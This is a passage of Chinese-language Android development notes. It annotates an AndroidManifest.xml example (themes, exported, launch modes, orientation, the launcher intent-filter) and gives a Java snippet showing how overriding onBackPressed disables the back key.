android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
/**
* 样式和主题:可在res/values目录下任意xml内定义。样式一般用于控件,主题一般用于activity或application节点下。
* <resources xmlns:tools="http://schemas.android.com/tools"><style name="样式或主题名"><item name="属性名">值</item></style></resources>
*/
android:theme="@style/Theme.我的安卓">
<activity
android:name=".ContactActivity"
android:exported="false" // 是否支持其他应用调用当前组件。默认值:有intent-filter默认为true,没有默认为false。
/**
* standard:标准栈;
* singleTop:栈顶不可重复;
* singleTask:不重复的栈任务,复用之前同样的栈任务,复用的栈任务之后的栈任务全部销毁;
* singleInstance:新建一个栈且只有一个栈任务。当前活动栈是哪个,哪个就先进行出栈操作。
*/
android:launchMode="standard"
android:screenOrientation="portrait" /> // portrait:竖屏;landscape:横屏。
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter> // 主入口:一般一个应用只有一个
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
6、备注
a、注意点
* 四大组件必须在清单文件里面注册
* 国际化:在res目录下创建不同国家语言环境集,目录是固定写法values-en、values-zh...
b、屏蔽返回键
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
@Override
public void onBackPressed() {
// 注销super.onBackPressed();即可屏蔽返回键
super.onBackPressed();
}
}